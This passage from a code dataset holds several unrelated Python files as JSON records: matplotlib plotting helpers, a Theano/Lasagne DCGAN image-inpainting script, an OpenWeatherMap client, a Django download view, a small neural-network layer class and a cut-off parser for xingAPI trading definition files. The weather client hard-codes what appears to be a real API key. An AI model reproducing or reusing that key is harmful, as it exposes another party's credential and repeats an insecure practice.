markers[cluster[0]]\n colors = {-1:'g', 0:'k', 1:'b', 2: 'm', 3: 'y', 4: 'r', 5:'xkcd:violet', 6:'tab:orange', 7:'tab:pink', 8:'xkcd:gold', 9:'xkcd:chartreuse',\n 10:'xkcd:azure', 11:'xkcd:pastel blue', 12:'xkcd:aqua blue', 13:'xkcd:greyish purple', 14:'xkcd:bland'}\n color = colors[cluster[1] if cluster[1]<0 else cluster[1] % (len(colors)-1)]\n return color, marker\n\n else:\n print('ERROR! Wrong cluster assignment for htmPlotting.drawPTBox: ', cluster)\n exit(-1)\n\n for cluster, dots in clustered_dots.items():\n color, marker = getClusterColors(cluster)\n x, y = zip(*dots)\n axs.plot(x, y, color=color, marker=marker, linestyle='None')\n\n for color, cmap, width, lines in [ \\\n ('b','Blues', 1, lines_planned), \\\n ('r', 'brg', 2, lines_actual) \\\n ]:\n for line in lines:\n x, y, colors = list(zip(*line))\n colors = [tocmap(c) for c in colors]\n # plt.plot(x, y, color=color)\n points = np.array([x, y]).T.reshape(-1, 1, 2)\n segments = np.concatenate([points[:-1], points[1:]], axis=1)\n lc = LineCollection(segments, cmap=cmap, norm=norm) # 'viridis'\n lc.set_array(np.array(colors))\n lc.set_linewidth(width)\n axs.add_collection(lc)\n\n def calctime(mintime, maxtime, step):\n '''calculates good time window to show in graph'''\n mint_tmp = mintime / 3600\n maxt_tmp = maxtime / 3600\n mint = int(mint_tmp / step) * step\n maxt = int(maxt_tmp / step) * step\n if (mint + step - mint_tmp < step * 0.06):\n mint = mint + step\n if maxt_tmp - maxt > step * 0.06:\n maxt += step\n return mint, maxt, step\n\n # #full\n # xst, xfin, xstep = 5.5, 25, 0.5\n #yst, yfin, ystep = 1, 20, 1\n xst, xfin, xstep = calctime(mintime, maxtime, 0.5)\n yst, yfin, ystep = minseq, maxseq, 1\n\n plt.axis([xst, xfin, yst, yfin])\n plt.xticks(np.arange(xst, xfin, xstep))\n\n xticks = axs.get_xticks().tolist()\n for i in range(len(xticks)):\n xticks[i] = '{}:{}'.format(int(xticks[i] % 24), '30' if (abs(xticks[i] - int(xticks[i]))>0.4) else '00')\n axs.set_xticklabels(xticks)\n\n plt.yticks(np.arange(yst, yfin, ystep))\n\n plt.grid(axis='y', linestyle='-', linewidth=0.3)\n plt.xlabel('Time')\n plt.ylabel('Stops sequence')\n plt.title(figName)\n if saveFiguresToFile:\n filename = \"./resources/figures/{}.png\".format(figName)\n if not os.path.exists(os.path.dirname(filename)):\n os.makedirs(os.path.dirname(filename))\n plt.savefig(filename)\n plt.close()\n else:\n fig = plt.gcf()\n fig.canvas.set_window_title(figName)\n if maximized:\n figManager = plt.get_current_fig_manager()\n figManager.window.showMaximized()\n plt.show(block=True)\n\ndef markingsPlotting(datapoints, markings, only11to16=False):\n for i in range(31):\n date = '201503{}'.format(str(i+1).zfill(2))\n dps = [dp for dp in datapoints if dp['date'] == date]\n if only11to16: # i % 2 != 0:\n dps = [dp for dp in dps if 11 * 3600 < dp['time'] < 16 * 3600]\n if len(dps) > 0:\n drawPTBox(dps, figName=date, markings=markings)\n\ndef plotHistogram(values, bins = []):\n if bins == []:\n plt.hist(values)\n else:\n plt.hist(values, bins)\n plt.show(block=True)\n\ndef plotScatter(X, Y, xx=[], yy=[]):\n axisMax = 4 # max(max(X), max(Y))\n plt.axis([0, axisMax, 0, axisMax])\n plt.scatter(X,Y)\n\n if len(xx) > 0:\n plt.plot(xx, yy, c='r')\n\n plt.show(block=True)\n","sub_path":"htmPlotting.py","file_name":"htmPlotting.py","file_ext":"py","file_size_in_byte":7441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"410313324","text":"\"\"\"\nScript that creates a DCGAN network.\n\nThis script is made to be use on the\nMSCOCO dataset downsampled to 64x64 pixels.\n\nAuthor: Gabriel Bernard\nUpdated on: 2017-04-28\n\"\"\"\n\nimport os\nimport time\nimport numpy as np\nimport theano\nimport theano.tensor as T\nimport lasagne\nfrom lasagne.layers import InputLayer, DenseLayer, Conv2DLayer, Deconv2DLayer, BatchNormLayer, ReshapeLayer\nfrom lasagne.nonlinearities import LeakyRectify, rectify, sigmoid, tanh\nimport logging\nimport six.moves.cPickle as pickle\nimport argparse\nimport PIL.Image as Image\n\ntry:\n from models.utils import data_utils\nexcept ImportError:\n from utils import data_utils\n\n\"\"\"\nGenerative Adversarial Network (GAN)\n\nThe GAN network is made of 2 models that compete\nagainst each other. The first network is a Generative\nnetwork and the second is a discriminative network.\nThe generative network have the goals to generate\ndata that is realistic enough to fools the discriminative\nnetwork into thinking it is real data (data that comes from\nthe same statistical distribution then the real data it receives\nfrom samples).\n\"\"\"\n\n\n# Global argument that controls the logging function\nlog_b = False\n\n\ndef set_log(b):\n \"\"\"\n Sets the log_b global variable.\n\n :param b: boolean valuethat decides whether to\n log in a file or to print in the console.\n \"\"\"\n\n global log_b\n log_b = b\n\n\ndef log_fn(s):\n \"\"\"\n Log function\n\n :param s: String to print\n \"\"\"\n\n if log_b:\n # Log in file\n logging.info(s)\n else:\n # Print in console\n print(s)\n\n\ndef add_noize(input):\n \"\"\"\n Function that adds noize in the middle of the\n input images.\n\n :param input: Numpy array of shape (batch_size, 3, 64, 64)\n :return input with noise in the middle\n \"\"\"\n\n center = (\n int(np.floor(input.shape[2] / 2.)),\n int(np.floor(input.shape[3] / 2.))\n )\n\n # input[:,\n # center[0] - 16: center[0] + 16,\n # center[1] - 16: center[1] + 16, :\n # ] = np.random.random((input.shape[0], 3, 32, 32) + 1) / 100\n # Loops that fills the input with random noise in the middle\n for i in range(input.shape[0]):\n input[i, :,\n center[0] - 16: center[0] + 16,\n center[1] - 16: center[1] + 16] = (np.random.random((3, 32, 32)) + 1) / 100\n\n return input\n\n\ndef image_encoder(input_var=None):\n \"\"\"\n Function that builds an image encoder.\n\n :param input_var: Input variable that goes in Lasagne.layers.InputLayer\n \"\"\"\n\n # Output size of convolution formula:\n # o = (i + 2p - k) / s + 1\n # Where o is the output size, i the input, p\n # the padding, k the kernel size and s the stride\n\n net = InputLayer(shape=(None, 3, 64, 64), input_var=input_var)\n # 128 units of 32 x 32\n net = Conv2DLayer(net, 128, 2, stride=2)\n # 256 units of 16 x 16\n net = BatchNormLayer(Conv2DLayer(net, 256, 2, stride=2))\n # 512 units of 8 x 8\n net = BatchNormLayer(Conv2DLayer(net, 512, 2, stride=2))\n # 1024 units of 4 x 4\n net = BatchNormLayer(Conv2DLayer(net, 1024, 2, stride=2))\n # Fully connected layer\n net = DenseLayer(net, 100, nonlinearity=tanh)\n\n log_fn(\"Image encoder output shape: {}\".format(net.output_shape))\n return net\n\n\ndef image_decoder(net=None, input_var=None):\n \"\"\"\n Function that build an image decoder.\n\n :param net: If a net is given, it will be used as input layer to build\n the rest of the network\n :param input_var: Input variable that goes in Lasagne.layers.InputLayer\n \"\"\"\n\n # Output size of deconvolution formula:\n # o = s(i - 1) + a + k - 2p\n # Where o is the output size, i the input, p\n # the padding, k the kernel size and s the stride\n\n if net is None:\n net = InputLayer(shape=(None, 100), input_var=input_var)\n # Project\n net = DenseLayer(net, 1024 * 4 * 4, nonlinearity=tanh)\n # Reshape\n net = ReshapeLayer(net, ([0], 1024, 4, 4))\n # 512 units of 8 x 8\n net = BatchNormLayer(Deconv2DLayer(net, 512, 2, stride=2))\n # 256 units of 16 x 16\n net = BatchNormLayer(Deconv2DLayer(net, 256, 9))\n # 128 units of 32 x 32\n net = BatchNormLayer(Deconv2DLayer(net, 128, 2, stride=2))\n # 3 units of 64 x 64 (rgb image)\n net = Deconv2DLayer(net, 3, 2, stride=2)\n\n log_fn(\"Image decoder output shape: {}\".format(net.output_shape))\n return net\n\n\ndef discriminator(input_var=None):\n \"\"\"\n Function that build the discriminator\n\n :param input_var: Input variable that goes in Lasagne.layers.InputLayer\n \"\"\"\n\n # Output size of convolution formula:\n # o = (i + 2p - k) / s + 1\n # Where o is the output size, i the input, p\n # the padding, k the kernel size and s the stride\n\n lrelu = LeakyRectify(0.2)\n net = InputLayer((None, 3, 64, 64), input_var=input_var)\n # 128 units of 16 x 16\n net = Conv2DLayer(net, 128, 2, stride=2, nonlinearity=lrelu)\n # 256 units of 8 x 8\n net = BatchNormLayer(Conv2DLayer(net, 256, 2, stride=2, nonlinearity=lrelu))\n # 512 units of 4 x 4\n net = BatchNormLayer(Conv2DLayer(net, 512, 2, stride=2, nonlinearity=lrelu))\n # 512 units of 8 x 8\n # net = batch_norm(Conv2DLayer(net, 512, 3, pad=1, nonlinearity=lrelu))\n # 1024 units of 4 x 4\n net = BatchNormLayer(Conv2DLayer(net, 1024, 2, stride=2, nonlinearity=lrelu))\n # Fully connected layers\n net = DenseLayer(net, 1024, nonlinearity=lrelu)\n # Layer that computes the probability of the image being real\n net = DenseLayer(net, 1, nonlinearity=sigmoid)\n\n log_fn(\"Discriminator output shape : {}\".format( net.output_shape))\n\n return net\n\n\ndef generator(input_var=None):\n \"\"\"\n Function that build the generator network\n\n :param input_var: Input variable that goes in Lasagne.layers.InputLayer\n \"\"\"\n\n net = InputLayer(shape=(None, 100), input_var=input_var)\n # Projection\n net = DenseLayer(net, 1024*4*4)\n # Reshape\n net = BatchNormLayer(ReshapeLayer(net, ([0], 1024, 4, 4)))\n # 512 units of 8 x 8\n net = BatchNormLayer(Deconv2DLayer(net, 512, 2, stride=2, nonlinearity=rectify))\n # 256 units of 16 x 16\n net = BatchNormLayer(Deconv2DLayer(net, 256, 2, stride=2, nonlinearity=rectify))\n # 128 units of 16 x 16\n net = BatchNormLayer(Conv2DLayer(net, 128, 3, pad=1, nonlinearity=rectify))\n # 64 units of 32 x 32\n net = Deconv2DLayer(net, 64, 2, stride=2, nonlinearity=tanh)\n # 3 units of 64 x 64 (aka generated image)\n net = Deconv2DLayer(net, 3, 2, stride=2, nonlinearity=tanh)\n\n log_fn(\"Generator output shape: {}\".format(net.output_shape))\n return net\n\n\ndef create_logging(LoggingPath, logname):\n \"\"\"\n Function that creates the logging path and file.\n\n :param LoggingPath: Path to where the log file must be created\n :param logname: name of the file to be created\n \"\"\"\n\n # Checking the path for environment variables\n LoggingPath = os.path.expandvars(LoggingPath)\n\n # If path is does not exist, creates it\n if not os.path.isdir(LoggingPath):\n os.mkdir(LoggingPath)\n\n # Creates the log file\n logpath = LoggingPath + logname\n logging.basicConfig(\n filename=logpath,\n level=logging.INFO,\n format='%(asctime)s - %(levelname)s: %(message)s',\n datefmt='%m/%d/%Y %H:%M:%S'\n )\n\n\ndef training_encoder(\n batch_size,\n dic,\n prefixes,\n data_path,\n train_encode,\n save_path,\n encoder,\n decoder,\n display_rate=50\n):\n \"\"\"\n Train the encoder for 1 epoch over the inputs given in the dictionnary\n and saves the parameters for the encoder and decoder.\n\n Parameters are prety specific.\n :return encoder, decoder: The encoder and decoder trained\n \"\"\"\n num_iter = np.round((len(dic) - 1) / batch_size).astype(np.int)\n # Variable that register the begining time of the training\n start_time = time.time()\n log_fn(\"Beginning Training of encoder\")\n for epoch in range(1):\n it = 1\n loss = 0.\n # Loop that loads the data to live memory\n for data in data_utils.load_data_to_ram(\n length=10 * batch_size,\n dic=dic,\n prefixes=prefixes,\n data_path=data_path,\n size=[(64, 64), (64, 64)]\n ):\n # Loop that loads the batches\n for batch in data_utils.minibatch_iterator(x=data[0], y=data[1], batch_size=batch_size):\n # Start time for this batch calculations\n tic = time.time()\n inputs, targets = batch\n # Adding noise to the inputs hole\n inputs = add_noize(inputs)\n inputs = inputs.astype(np.float32)\n # We don't need to have the targets and I did not want\n # to create an other generator that would load the data\n targets = None\n # Compute the loss and train the encoder and the decoder\n loss += train_encode(inputs)\n # Displaying progress\n if (it % display_rate) == 0:\n log_fn(\"Epoch: {} of {}, it {} of {}, Loss : {}\".format(\n epoch + 1, 1,\n it, num_iter, loss / it\n ))\n toc = time.time()\n log_fn(\"Time taken: {} sec, Elapsed time: {} min\".format(\n toc - tic,\n (toc - start_time) / 60\n ))\n # Update iteration index\n it += 1\n\n # Saving parameters\n np.savez(save_path + '/GAN3_enc.npz', *lasagne.layers.get_all_param_values(encoder))\n np.savez(save_path + '/GAN3_dec.npz', *lasagne.layers.get_all_param_values(decoder))\n\n return encoder, decoder\n\n\ndef generate_images(dic, indexes, data_path, load_path, save_path=None):\n \"\"\"\n Function that generates images from inputs, the encoder and the generator.\n\n :param dic: Dictionnary containing the name of all the input files\n :param indexes: Array containing the indexes of the input images names\n :param data_path: Path to the dataset\n :param load_path: Path to the files containing the network parameters\n :param save_path: Path to save the generated images\n \"\"\"\n\n # Prefix of the input images\n pre = data_path + '/input_'\n log_fn(\"Creating theano variables\")\n\n # Theano variables\n x = T.tensor4('x')\n z = T.matrix('z')\n\n # Generating the network\n enc = image_encoder()\n with np.load(load_path + '/GAN3_enc.npz') as f:\n enc_param_values = [f['arr_%d' % i] for i in range(len(f.files))]\n lasagne.layers.set_all_param_values(enc, enc_param_values)\n\n gen = generator(z)\n with np.load(load_path + '/GAN3_gen.npz') as f:\n gen_param_values = [f['arr_%d' % i] for i in range(len(f.files))]\n lasagne.layers.set_all_param_values(gen, gen_param_values)\n\n dec = image_decoder()\n with np.load(load_path + '/GAN3_dec.npz') as f:\n dec_param_values = [f['arr_%d' % i] for i in range(len(f.files))]\n lasagne.layers.set_all_param_values(dec, dec_param_values)\n\n log_fn(\"Building theano functions\")\n # Encoding function\n encode_fn = theano.function(\n [x],\n lasagne.layers.get_output(enc, x)\n )\n\n # Generation function\n gen_fn = theano.function(\n [z],\n lasagne.layers.get_output(gen, z)\n )\n\n # Decoding function (only for debugging)\n # dec_fn = theano.function(\n # [z],\n # lasagne.layers.get_output(dec, z)\n # )\n\n log_fn(\"Fetching data\")\n # Loading image's names from indexes in the dictionnary\n list_of_inputs = [pre + dic.get(key.astype(np.int32)) + '.jpg' for key in indexes]\n # Loading images in array and adding some random noize\n data = data_utils.load_data(list_of_images=list_of_inputs, size=(64, 64))\n data = add_noize(data)\n # Encoding images\n encoded = encode_fn(lasagne.utils.floatX(data)).astype(np.float32)\n # Generating images\n samples = gen_fn(encoded)\n # Decoding encoded images (only for debugging)\n # decoded = dec_fn(encoded)\n\n # Finding center\n center = (\n int(np.floor(data.shape[2] / 2.)),\n int(np.floor(data.shape[3] / 2.))\n )\n\n # Reshaping all images into (batch_size, 64, 64, 3)\n data = data.transpose((0, 2, 3, 1))\n samples = samples.transpose((0, 2, 3, 1))\n # decoded = decoded.transpose((0, 2, 3, 1))\n for index, inner in enumerate(samples):\n img = data[index]\n # Replacing the center of the images\n # with the one generated\n img[\n center[0] - 16: center[0] + 16,\n center[1] - 16: center[1] + 16, :\n ] = inner[\n center[0] - 16: center[0] + 16,\n center[1] - 16: center[1] + 16, :\n ]\n # De-normalizing the image\n img = (img + 1) * 127.5\n # Making sure everything is in the rgb range\n img = np.rint(img).astype(np.int32)\n img = np.clip(img, 0, 255)\n # Creating an image like array into uint8\n img = img.astype(np.uint8)\n img = Image.fromarray(img)\n # Displaying the images\n img.show()\n # Saving the results\n if save_path is not None:\n name = '/Generated_' + dic[index] + '.png'\n img.save(save_path + name, 'PNG')\n\n # Decoded images display\n # img2 = decoded[index]\n # img2 = (img2 + 1) * 127.5\n # img2 = np.rint(img2).astype(np.int32)\n # img2 = np.clip(img2, 0, 255)\n # img2 = img2.astype(np.uint8)\n # img2 = Image.fromarray(img2)\n\n log_fn(\"End of Generation\")\n\n\ndef main(args):\n \"\"\"\n Main function that train the network and controls the behavior of the program\n\n :param args: Object that contains the parsed command line arguments\n \"\"\"\n\n # Setting logging informations\n if args.LoggingPath is None:\n set_log(False)\n else:\n post = 'log_' + time.strftime('%m_%d_%Y_%H_%M_%S') + '_gan3.log'\n logname = '/Training_' + post\n create_logging(args.LoggingPath, logname)\n set_log(True)\n\n # Setting random seed and batch_size\n np.random.seed(args.seed)\n batch_size = args.BatchSize\n\n log_fn(\"Loading dictionnary\")\n dic = pickle.load(open(args.DataPath + '/data.pkl', 'rb'))\n\n log_fn(\"Dictionnary length {}\".format(len(dic)))\n\n # Prefixes of the images to load\n prefixes = ['/input_', '/img_']\n\n # If not training, only generates images from inputs and exits\n if args.train == 0:\n log_fn(\"Generating images\")\n indexes = np.random.randint(0, len(dic), 10)\n generate_images(\n dic=dic,\n indexes=indexes,\n data_path=args.DataPath,\n load_path=args.LoadPath,\n save_path=args.SavePath\n )\n exit(0)\n\n # Theano variables\n x = T.tensor4('x')\n y = T.tensor4('y')\n z = T.matrix('z')\n\n log_fn(\"Generating networks\")\n # Encoder that encodes the input in a vector of shape (batch_size, 100)\n encoder = image_encoder(x)\n\n # Generator and discriminator networks\n gen = generator(z)\n dis = discriminator()\n\n # Load old network's parameters\n if args.ContinueTraining is not None:\n log_fn(\"Loading networks parameters\")\n with np.load(args.LoadPath + '/GAN3_enc.npz') as f:\n enc_param_values = [f['arr_%d' % i] for i in range(len(f.files))]\n lasagne.layers.set_all_param_values(encoder, enc_param_values)\n\n with np.load(args.LoadPath + '/GAN3_gen.npz') as f:\n gen_param_values = [f['arr_%d' % i] for i in range(len(f.files))]\n lasagne.layers.set_all_param_values(gen, gen_param_values)\n\n with np.load(args.LoadPath + '/GAN3_dis.npz') as f:\n dis_param_values = [f['arr_%d' % i] for i in range(len(f.files))]\n lasagne.layers.set_all_param_values(dis, dis_param_values)\n\n # Train encoder\n if args.TrainEncoder is not None:\n log_fn(\"Training the encoder\")\n # Decode the image encoded by the encoder\n decoder = image_decoder()\n # Load old decoder's parameters\n if args.ContinueTraining is not None:\n log_fn(\"Loading decoder's parameters\")\n with np.load(args.LoadPath + '/GAN3_dec.npz') as f:\n dec_params_values = [f['arr_%d' % i] for i in range(len(f.files))]\n lasagne.layers.set_all_param_values(decoder, dec_params_values)\n # Decoder output\n decode = lasagne.layers.get_output(decoder, lasagne.layers.get_output(encoder, x))\n # Encode parameters\n encode_params = lasagne.layers.get_all_params(encoder, trainable=True)\n # Decoder parameters\n decode_params = lasagne.layers.get_all_params(decoder, trainable=True)\n # Cost function for encoder decoder\n encode_decode_cost = lasagne.objectives.squared_error(decode, x).mean()\n # Update function for encoder decoder\n encode_decode_updates = lasagne.updates.adam(\n encode_decode_cost, encode_params + decode_params, learning_rate=0.001\n )\n log_fn(\"Building the encoder training function\")\n # Training encoder function\n train_encode = theano.function(\n [x],\n encode_decode_cost,\n updates=encode_decode_updates\n )\n\n # Training encoder\n encoder, decoder = training_encoder(\n batch_size=batch_size,\n dic=dic,\n prefixes=prefixes,\n data_path=args.DataPath,\n train_encode=train_encode,\n save_path=args.SavePath,\n encoder=encoder,\n decoder=decoder,\n display_rate=args.DisplayRate\n )\n\n # Result for the discriminator with the real data\n real = lasagne.layers.get_output(dis, y)\n # Result for the discriminator for the generated images\n fake = lasagne.layers.get_output(dis, lasagne.layers.get_output(gen, z))\n\n # Generator and discriminator parameters\n gen_params = lasagne.layers.get_all_params(gen, trainable=True)\n dis_params = lasagne.layers.get_all_params(dis, trainable=True)\n\n # Discriminator cost\n dis_cost = lasagne.objectives.binary_crossentropy(real, 1) + \\\n lasagne.objectives.binary_crossentropy(fake, 0.)\n\n dis_cost = dis_cost.mean()\n\n # Shared learning rate parameter\n shrd_lr = theano.shared(lasagne.utils.floatX(args.LearningRate))\n\n # Discriminator updates\n updates = lasagne.updates.adam(\n dis_cost, dis_params, learning_rate=shrd_lr, beta1=0.5\n )\n\n # Function that computes the squared error between the generated images and the real one\n # This is only use for monitoring purposes and is not used in the training algorithms\n square_error = lasagne.objectives.squared_error(lasagne.layers.get_output(gen, z), y).mean()\n\n log_fn(\"Building functions\")\n start_build = time.time()\n # Discriminator training function\n train_fn = theano.function(\n [y, z],\n [(real > 0.5).mean(),\n (fake < 0.5).mean(),\n square_error],\n updates=updates\n )\n\n # Generator cost\n gen_cost = lasagne.objectives.binary_crossentropy(fake, 1).mean()\n\n # Generator updates\n gen_updates = lasagne.updates.adam(\n gen_cost, gen_params, learning_rate=shrd_lr\n )\n\n # Train generator function\n train_gen_fn = theano.function(\n [y, z],\n [(real > 0.5).mean(),\n (fake < 0.5).mean(),\n square_error],\n updates=gen_updates\n )\n\n # Encoder function\n encode_fn = theano.function(\n [x],\n lasagne.layers.get_output(encoder, x)\n )\n\n # Number of iterations before end of each epoch\n num_iter = np.round((len(dic) - 1) / batch_size).astype(np.int)\n\n log_fn(\"Building took {} min\".format((time.time() - start_build) / 60))\n\n log_fn(\"Training GAN\")\n start_time = time.time()\n # Iterate over the epochs\n for epoch in range(args.epochs):\n it = 1 # Iteration count\n loss = 0.\n # Iterate over all the data, loading 10\n # batches at a time on ram\n for data in data_utils.load_data_to_ram(\n length=10 * batch_size,\n dic=dic,\n prefixes=prefixes,\n data_path=args.DataPath,\n size=[(64, 64), (64, 64)]\n ):\n # Iterate over each batches fo make the computations\n for batch in data_utils.minibatch_iterator(x=data[0], y=data[1], batch_size=batch_size):\n # Start time for this batch calculations\n tic = time.time()\n\n # Devide batch in inputs and targets\n inputs, targets = batch\n\n # Add noise to data\n inputs = add_noize(inputs)\n\n # Define everything as float32 for theano computations\n inputs = inputs.astype(np.float32)\n targets = targets.astype(np.float32)\n\n # Encode data\n n = encode_fn(inputs)\n\n # Training discriminator\n tmp_loss = np.array(train_fn(targets, n))\n\n # Training generator\n tmp_loss += np.array(train_gen_fn(targets, n))\n tmp_loss += np.array(train_gen_fn(targets, n))\n\n # Compute loss\n loss += tmp_loss / 3\n\n # Logging every now and then\n if (it % args.DisplayRate) == 0:\n log_fn(\n \"Epoch: {} of {}, it {} of {}, Loss : {}\".format(\n epoch + 1, args.epochs,\n it, num_iter, loss / it)\n )\n toc = time.time()\n log_fn(\n \"Time taken: {} sec, Elapsed time {} min\".format(\n toc - tic, (toc - start_time) / 60\n )\n )\n\n # If something goes wrong and a nan appear, stop training\n if np.isnan(loss[2]):\n log_fn(\"Add to break\")\n break\n\n it += 1 # Update iteration\n\n # Save parameters after every batch, just in case\n np.savez(args.SavePath + '/GAN3_gen.npz', *lasagne.layers.get_all_param_values(gen))\n np.savez(args.SavePath + '/GAN3_dis.npz', *lasagne.layers.get_all_param_values(dis))\n\n log_fn(\"End\")\n return 0\n\n\ndef pars_args():\n \"\"\"\n Parse every arguments given through the command line.\n\n :return arguments: Object with all arguments parsed\n \"\"\"\n\n # Creating an argument parser\n arguments = argparse.ArgumentParser()\n\n # Adding arguments needed by parser\n arguments.add_argument(\n '-s', '--seed', type=int, default=32,\n help=\"Seed for the random number generator\"\n )\n arguments.add_argument(\n '-dp', '--DataPath', type=str,\n help=\"Complete path to dataset\",\n required=True\n )\n arguments.add_argument(\n '-sp', '--SavePath', type=str,\n help=\"Complete path to directory where to store computation\",\n required=True\n )\n arguments.add_argument(\n '-bs', \"--BatchSize\", type=int, default=128,\n help=\"Size of the minibatch to train\"\n )\n arguments.add_argument(\n \"-ne\", \"--epochs\", type=int, default=5,\n help=\"Number of step for training\"\n )\n arguments.add_argument(\n '-t', '--train', type=int, default=1,\n help=\"Define if the GAN must be trained\"\n )\n arguments.add_argument(\n '-lr', '--LearningRate', type=float, default=2e-4,\n help=\"Defines the learning rate of the GAN network\"\n )\n arguments.add_argument(\n '-lp', \"--LoadPath\", type=str, default=None,\n help=\"Complete path to directory where to load stored computation\"\n )\n arguments.add_argument(\n '-logp', \"--LoggingPath\", type=str, default=None,\n help=\"Complete path to directory where to load info\"\n )\n arguments.add_argument(\n '-te', \"--TrainEncoder\", type=str, default=None,\n help=\"If something is given, trains the encoder\"\n )\n arguments.add_argument(\n '-ct', \"--ContinueTraining\", type=str, default=None,\n help=\"If something is given, loads param from LoadPath variables before training\"\n )\n arguments.add_argument(\n '-dr', \"--DisplayRate\", type=int, default=50,\n help=\"After how many batches informations should be displayed\"\n )\n\n return arguments.parse_args()\n\n\nif __name__ == \"__main__\":\n main(pars_args())\n","sub_path":"models/gan.py","file_name":"gan.py","file_ext":"py","file_size_in_byte":24557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"640028493","text":"import requests , _json\n# Python program to find current\n# weather details of any city\n# using openweathermap api\n\n# import required modules\nimport requests, json\n\napi_key = '8f280a3ef75916db6478d2d920addf63'\nbase_url = \"http://api.openweathermap.org/data/2.5/weather?\"\ncity_name = \"Thane\"\n\n\nclass WeatherApp:\n weather_keys=['show me the weather','weather','current temperature','temperature']\n def fetchWeatherLabel():\n complete_url = base_url + \"appid=\" + api_key + \"&q=\" + city_name\n response = requests.get(complete_url)\n x = response.json()\n\n if x[\"cod\"] != \"404\":\n y = x[\"main\"]\n current_temperature = y[\"temp\"]\n z = x[\"weather\"]\n temp=str(current_temperature-273.15)\n return temp\n\n def fetchWeatherText():\n complete_url = base_url + \"appid=\" + api_key + \"&q=\" + city_name\n response = requests.get(complete_url)\n x = response.json() \n if x[\"cod\"] != \"404\":\n y = x[\"main\"]\n current_temperature = y[\"temp\"]\n current_pressure = y[\"pressure\"]\n current_humidity = y[\"humidity\"]\n w_list=[current_temperature,current_pressure,current_humidity]\n return w_list\n","sub_path":"WeatherApp.py","file_name":"WeatherApp.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"125972640","text":"# Django imports\nfrom django.views.generic import TemplateView\nfrom django_cradmin import crapp\n\n# Devilry imports\nfrom devilry.devilry_compressionutil import models as archivemodels\nfrom devilry.devilry_group.utils import download_response\n\n\nclass WaitForDownload(TemplateView):\n \"\"\"\n Redirected to this view when downloading files.\n \"\"\"\n template_name = 'devilry_group/wait_for_download.django.html'\n\n def __init__(self):\n super(WaitForDownload, self).__init__()\n self.status = 'NOT FINISHED'\n\n def get(self, request, *args, **kwargs):\n \"\"\"\n \"\"\"\n object_id = int(self.kwargs.get('pk'))\n archive_meta = archivemodels.CompressedArchiveMeta.objects.get(content_object_id=object_id)\n if archive_meta is not None:\n self.status = 'FINISHED'\n return download_response.download_response(\n content_path=archive_meta.archive_path,\n content_name=archive_meta.archive_name,\n content_type='application/zip',\n content_size=archive_meta.archive_size\n )\n return super(WaitForDownload, self).get(request, *args, **kwargs)\n\n def get_context_data(self, **kwargs):\n context = super(WaitForDownload, self).get_context_data(**kwargs)\n context['status'] = self.status\n return context\n\n\nclass App(crapp.App):\n appurls = [\n crapp.Url(\n r'^wait-for-download/(?P<pk>[0-9]+)$',\n WaitForDownload.as_view(),\n name='wait-for-download'\n )\n ]\n","sub_path":"devilry/devilry_group/views/download_files/feedbackfeed_downloadviews.py","file_name":"feedbackfeed_downloadviews.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"617314241","text":"from lab5.c2.neuron import Neuron\n\n\nclass Layer:\n\tdef __init__(self, noNeurons, noIn):\n\t\tself.neurons = [None] * noNeurons\n\t\tself.noNeurons = noNeurons\n\n\t\tfor i in range(noNeurons):\n\t\t\tself.neurons[i] = Neuron(noIn)\n\nif __name__ == \"__main__\":\n\tlayer = Layer(5, 5)\n\n\tprint(layer.neurons)\n\n","sub_path":"lab5/c2/Layer.py","file_name":"Layer.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"438977511","text":"#-*- coding: utf-8 -*-\n__author__ = 'YONGSUK'\nimport sys\nclass TrField:\n def __init__(self, hname, fieldname, datatype, size):\n self.hname = hname\n self.fieldname = fieldname\n self.datatype = datatype\n self.size = size\n def __str__(self) :\n return 'hname={0}, fieldname={1}, datatype={2}, size={3}'.format(self.hname, self.fieldname, self.datatype, self.size)\n\nclass TrOutBlock :\n def __init__(self, trName, outblockname) :\n self.trName = trName\n self.outblockname = outblockname\n self.fieldList = []\n def addField(self, field):\n self.fieldList.append(field)\n def __str__(self) :\n description = self.outblockname+'\\n'\n for trField in self.fieldList :\n description = description + trField.__str__()+'\\n'\n return description\n\nclass TrInBlock :\n def __init__(self, trName,inblockname) :\n self.trName = trName\n self.inblockname = inblockname\n self.fieldList = []\n def addField(self, field):\n self.fieldList.append(field)\n def __str__(self) :\n description = self.inblockname+'\\n'\n for trField in self.fieldList :\n description = description + trField.__str__()+'\\n'\n return description\n\nclass TrParser:\n FILE_PATH='c:/eBEST/xingAPI/Res/'\n def __init__(self, trName):\n self.trName = trName\n self.dataMap = dict()\n def parse(self):\n with open(self.FILE_PATH+self.trName+'.res') as f :\n trLine = f.readline().strip()\n while trLine :\n if trLine.startswith(self.trName) :\n field = trLine.split(',');\n if field[0].endswith('OutBlock') or field[0].endswith('OutBlock1') :\n outblock = self.readOutBlock(f, field[0])\n self.dataMap[outblock.outblockname] = outblock\n elif field[0].endswith('InBlock') :\n inblock = self.readInBlock(f, field[0])\n self.dataMap[inblock.inblockname] = inblock\n trLine = f.readline().strip()\n\n def getInBlock(self):\n return self.dataMap[self.trName+'InBlock']\n\n def getOutBlock(self):\n if self.trName+'OutBlock' in self.dataMap.keys() :\n return self.dataMap[self.trName+'OutBlock']\n else :\n return None\n def getOutBlock1(self):\n if self.trName+'OutBlock1' in self.dataMap.keys() :\n return self.dataMap[self.trName+'OutBlock1']\n else :\n return None\n\n\n def readOutBlock(self, fp, outblockname):\n outblock = TrOutBlock(self.trName, outblockname)\n line = fp.readline().strip()\n\n if line != 'begin' :\n return\n line = fp.readline().strip()\n\n while line != 'end' :\n field = line.split(',')\n trField = TrField(field[0], field[2], field[3], field[4])\n outblock.addField(trField)\n line = fp.readline().strip()\n return outblock\n\n def readInBlock(self, fp, inblockname):\n inblock = TrInBlock(self.trName, inblockname)\n line = fp.readline().strip()\n\n if line != 'begin' :\n return\n line = fp.readline().strip()\n\n while line != 'end' 